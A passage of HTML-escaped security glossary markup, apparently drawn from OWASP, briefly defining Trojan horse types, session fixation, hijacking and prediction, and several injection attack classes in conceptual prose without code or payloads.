Replicating (virus)&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;line-height: 14.25pt; margin-bottom: 6.0pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Trojan Horse&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;A Trojan Horse is a program that
uses malicious code masqueraded as a trusted application. The malicious code
can be injected on benign applications, masqueraded in e-mail links, or
sometimes hidden in JavaScript pages to make furtive attacks against vulnerable
internet Browsers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Other details can be found in&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Man-in-the-browser_attack&quot; title=&quot;Man-in-the-browser attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Man-in-the-browser
attack&lt;/span&gt;&lt;/a&gt;.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 0.05in;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The 7 Main Types of Trojan Horse&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;1.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Remote Access
Trojan (RAT)&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;2.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Data Sending
Trojan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;3.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Destructive Trojan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;4.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Proxy Trojan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;5.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;FTP Trojan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;6.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Security
software disabler Trojan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 38.4pt; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;7.&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Denial-of-Service
attack Trojan&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 12pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;



Exploitation of
Authentication&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Session fixation&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Session Fixation is an attack that
exploits a vulnerability in web applications that don&#39;t generate a new
sessionid after login and use an existent session id.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The attack consists of inducing a
user to authenticate himself with a known session ID, and then hijacking the
user-validated session by the knowledge of the used session ID. The attacker
has to provide a legitimate Web application session ID and try to make the
victim&#39;s browser use it.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The session fixation attack is a
class of&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Session_hijacking_attack&quot; title=&quot;Session hijacking attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Session Hijacking&lt;/span&gt;&lt;/a&gt;,
which steals the established session between the client and the Web Server
after the user logs in. Instead, the Session Fixation attack fixes an
established session on the victim&#39;s browser,&amp;nbsp;&lt;b&gt;&lt;i&gt;so the attack starts
before the user logs in.&lt;/i&gt;&lt;/b&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;There are several techniques to
execute the attack; it depends on how the Web application deals with session
tokens. Below are some of the most common techniques:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;• Session token in the URL argument:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;The Session ID is sent to the victim in a hyperlink.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;• Session token in a hidden form
field:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;nbsp;In this method, the victim
must be tricked to authenticate in the target Web Server, using a login form
developed for the attacker. The form could be hosted in the evil web server or
directly in html formatted e-mail.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;• Session ID in a cookie:&lt;/span&gt;&lt;/b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;o Client-side script&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Most browsers support the execution
of client-side scripting. In this case, the aggressor could use attacks of code
injection as the&amp;nbsp;&lt;a href=&quot;https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)&quot; title=&quot;Cross-site Scripting (XSS)&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;XSS&lt;/span&gt;&lt;/a&gt;&amp;nbsp;(Cross-site
scripting) attack to insert a malicious code in the hyperlink sent to the
victim and fix a Session ID in its cookie. Using the function document.cookie,
the browser which executes the command becomes capable of fixing values inside
of the cookie that it will use to keep a session between the client and the Web
Application.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;o &amp;lt;META&amp;gt; tag&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&amp;lt;META&amp;gt; tag also is considered
a code injection attack, however, different from the XSS attack where
undesirable scripts can be disabled, or the execution can be denied. The attack
using this method becomes much more efficient because it&#39;s impossible to
disable the processing of these tags in the browsers.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;o HTTP header response&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This method explores the server
response to fix the Session ID in the victim&#39;s browser. Including the parameter
Set-Cookie in the HTTP header response, the attacker is able to insert the
value of Session ID in the cookie and sends it to the victim&#39;s browser.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 12pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Session hijacking
attack&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;This attack compromises the session
token by stealing or predicting a valid session token to gain unauthorized
access to the Web Server.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The session token could be
compromised in different ways; the most common are:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Predictable session token;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Session Sniffing;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Client-side attacks (XSS, malicious JavaScript Codes,
Trojans, etc);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Man-in-the-middle_attack&quot; title=&quot;Man-in-the-middle attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Man-in-the-middle
attack&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: white; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; margin-bottom: 1.2pt; margin-left: 0.25in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Wingdings; font-size: 10pt;&quot;&gt;§&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/Man-in-the-browser_attack&quot; title=&quot;Man-in-the-browser attack&quot;&gt;&lt;span style=&quot;color: #0b0080;&quot;&gt;Man-in-the-browser
attack&lt;/span&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Session Prediction&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The session prediction attack focuses on
predicting session ID values that permit an attacker to bypass the
authentication schema of an application. By analyzing and understanding the
session ID generation process, an attacker can predict a valid session ID value
and get access to the application.&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h1&gt;



Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h1&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Argument Injection
or Modification&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;type of Injection
attack. Modifying or injecting data as an argument may lead to very similar,
often the same, results as in other injection attacks. It makes no difference
if the attacker wants to inject the system command into arguments or into any
other part of the code.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Blind SQL Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Blind
SQL injection is identical to normal&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;a href=&quot;https://www.owasp.org/index.php/SQL_Injection&quot; title=&quot;SQL Injection&quot;&gt;&lt;span style=&quot;background-color: white; color: #0b0080;&quot;&gt;SQL
Injection&lt;/span&gt;&lt;/a&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&amp;nbsp;except that when an
attacker attempts to exploit an application, rather then getting a useful error
message, they get a generic page specified by the developer instead. This makes
exploiting a potential SQL Injection attack more difficult but not impossible.&lt;/span&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Blind XPath
Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;The attacker
may be successful using two methods: Boolenization and XML Crawling. By adding
to the XPath syntax, the attacker uses additional expressions (replacing what
the attacker entered in the place of login to the specially crafted
expression).&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: .05in; mso-add-space: auto; mso-list: l3 level1 lfo18; mso-outline-level: 3; text-indent: -.25in;&quot;&gt;
&lt;span style=&quot;font-family: Symbol; font-size: 12pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt; line-height: normal;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Boolenization&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;background: white; line-height: 14.25pt; margin-bottom: 6.0pt; margin-left: .25in; margin-right: 0in; margin-top: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Using the &quot;Boolenization&quot; method the attacker may find
out if the given XPath expression is True or False. Let&#39;s assume that the aim
of the attacker is to log in to the account.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;margin-bottom: 0.05in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: Symbol; font-size: 12pt;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;b&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;XML
Crawling&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 6pt; margin-left: 0.25in; margin-right: 0in; margin-top: 0in;&quot;&gt;
&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;To
get to know the XML document structure the attacker may use:&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 1in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 12pt;&quot;&gt;o&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;count(expression)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 1in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 12pt;&quot;&gt;o&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;stringlength(string)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;margin-bottom: 1.2pt; margin-left: 1in; text-indent: -0.25in;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 12pt;&quot;&gt;o&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;substring(string,
number, number)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h2&gt;



Code Injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/h2&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Arial, sans-serif; font-size: 12pt;&quot;&gt;Code
Injection is the general name for a lot of types of attacks which depend on
inserting code, which is&amp;nbsp;interpreted&amp;nbsp;by the application. Such an
attack may be be performed by adding strings of characters into a cookie or
argument values in the URI. This attack makes use of lack of accurate
